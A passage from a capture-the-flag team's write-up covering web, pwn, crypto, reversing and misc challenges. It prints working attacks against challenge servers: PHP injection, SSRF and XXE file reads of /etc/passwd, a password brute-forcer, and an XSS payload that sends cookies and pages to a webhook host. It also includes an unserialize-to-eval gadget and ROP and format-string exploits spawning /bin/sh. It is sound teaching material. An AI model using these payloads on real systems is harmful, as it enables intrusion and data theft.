desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: 